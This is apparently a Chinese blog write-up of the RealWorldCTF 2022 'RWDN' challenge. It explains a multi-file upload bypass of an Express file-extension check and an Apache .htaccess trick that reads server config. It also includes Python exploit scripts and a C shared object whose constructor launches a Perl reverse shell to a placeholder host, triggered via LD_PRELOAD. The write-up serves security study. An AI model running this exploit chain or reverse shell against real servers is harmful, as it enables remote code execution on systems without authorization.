[RealWorldCTF2022] RWDN

RWDN

考点

多文件上传绕过

Apache .htaccess文件的妙用

LD_PRELOAD加载恶意so RCE

解题

进入/source获得源码:

const express = require('express');
const fileUpload = require('express-fileupload');
const md5 = require('md5');
const { v4: uuidv4 } = require('uuid');
const check = require('./check');
const app = express();

const PORT = 8000;

app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');

app.use(fileUpload({
  useTempFiles : true,
  tempFileDir : '/tmp/',
  createParentPath : true
}));

app.use('/upload',check());

app.get('/source', function(req, res) {
  if (req.query.checkin){
    res.sendfile('/src/check.js');
  }
  res.sendfile('/src/server.js');
});

app.get('/', function(req, res) {
  var formid = "form-" + uuidv4();
  res.render('index', {formid : formid} );
});

app.post('/upload', function(req, res) {
  let sampleFile;
  let uploadPath;
  let userdir;
  let userfile;
  sampleFile = req.files[req.query.formid];
  userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
  userfile = sampleFile.name.toString();
  if(userfile.includes('/')||userfile.includes('..')){
      return res.status(500).send("Invalid file name");
  }
  uploadPath = '/uploads/' + userdir + '/' + userfile;
  sampleFile.mv(uploadPath, function(err) {
    if (err) {
      return res.status(500).send(err);
    }
    res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);
  });
});

app.listen(PORT, function() {
  console.log('Express server listening on port ', PORT);
});

然后请求/source?checkin=1得到check的源码:

module.exports = () => {
    return (req, res, next) => {
      if ( !req.query.formid || !req.files || Object.keys(req.files).length === 0) {
        res.status(400).send('Something error.');
        return;
      }
      Object.keys(req.files).forEach(function(key){
        var filename = req.files[key].name.toLowerCase();
        var position = filename.lastIndexOf('.');
        if (position == -1) {
          return next();
        }
        var ext = filename.substr(position);
        var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
        if ( !allowexts.includes(ext) ){
          res.status(400).send('Something error.');
          return;
        }
        return next();
      });
    };
  };

注意这里的代码:

      Object.keys(req.files).forEach(function(key){
        var filename = req.files[key].name.toLowerCase();
        var position = filename.lastIndexOf('.');
        if (position == -1) {
          return next();
        }

这里只遍历了表单的第一个文件,因此我们可以使用多文件上传的方法来绕过这里的check,只需要第一个文件符合要求即可通过。

写一个多文件上传的exp,这个环境其实没有什么可用的方法可以直接GetShell,但是可以通过.htaccess文件来RCE。

import requests,sys

url = "http://47.243.75.225:31337"
#上传文件名称
name = ".htaccess"
#写入文件内容,利用.htaccess文件设置404页面来外带文件内容
content = """
ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"
"""

def upload(name, content):
    u = requests.post(url + "/upload", params={
        "formid": "theFirstOne"
    }, files={
        "theFirstOne": ("1.jpg", content),
    }).text

    resp = requests.post(url + "/upload", params={
        "formid": "Payload"
    }, files={
        "theFirstOne": ("1.jpg", content), #上传合法的文件来绕过check
        "Payload": (name, content), #多文件上传夹带恶意文件
    }).text

    return u.replace("1.jpg", "handsome") 

url = upload(name, content).replace("File uploaded to ","")
r = requests.get(url=url)
if(r.status_code==500):
    pass
else:
    print(r.text)

这样就可以读取到apache2.conf的配置文件,留意到相比默认的配置文件,这里多了一行ExtFilter:

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip

.htaccess文档中有setenv命令可以配合调用/gzip设置LD_PRELOAD,从而实现RCE

先编译生成一个恶意执行代码的so文件:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>

__attribute__((constructor)) void l3yx(){
    unsetenv("LD_PRELOAD");
    system("perl -e 'use Socket;$i=\"VPS_IP\";$p=VPS_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'");
}

编译:gcc 1.c -fPIC -shared -o 1.so

然后还是同样的方法上传so文件:

import requests,sys

url = "http://47.243.75.225:31337"
so_name = "exp.so"
so_content = open("1.so","rb").read()

def upload(name, content):
    u = requests.post(url + "/upload", params={
        "formid": "theFirstOne"
    }, files={
        "theFirstOne": ("1.jpg", content),
    }).text

    resp = requests.post(url + "/upload", params={
        "formid": "Payload"
    }, files={
        "theFirstOne": ("1.jpg", content), #上传合法的文件来绕过check
        "Payload": (name, content), #多文件上传夹带恶意文件
    }).text

    return u.replace("1.jpg", "") 

so_path = '/var/www/html'+upload(so_name, so_content).replace("File uploaded to ","")[26:]+so_name
print(so_path)
name = '.htaccess'
content = """
SetEnv LD_PRELOAD """+so_path+"""
SetOutputFilter 7f39f8317fgzip
"""
url = upload(name, content).replace("File uploaded to ","")
r = requests.get(url=url)
if(r.status_code==500):
    pass
else:
    print(r.text)

服务器上监听端口,运行脚本然后就可以反弹Shell,之后执行/readflag做一个简单的计算题就可以获得flag:
image

还需要注意的一点是so文件一定要在linux下编译,复现的时候就是忘了这点,在mac下编译出来so文件,半天没有打通😅

参考

https://guokeya.github.io/post/Tqvzh3DoQ/

posted @ 2022-01-24 18:11  Ye'sBlog  阅读(343)  评论(0编辑  收藏  举报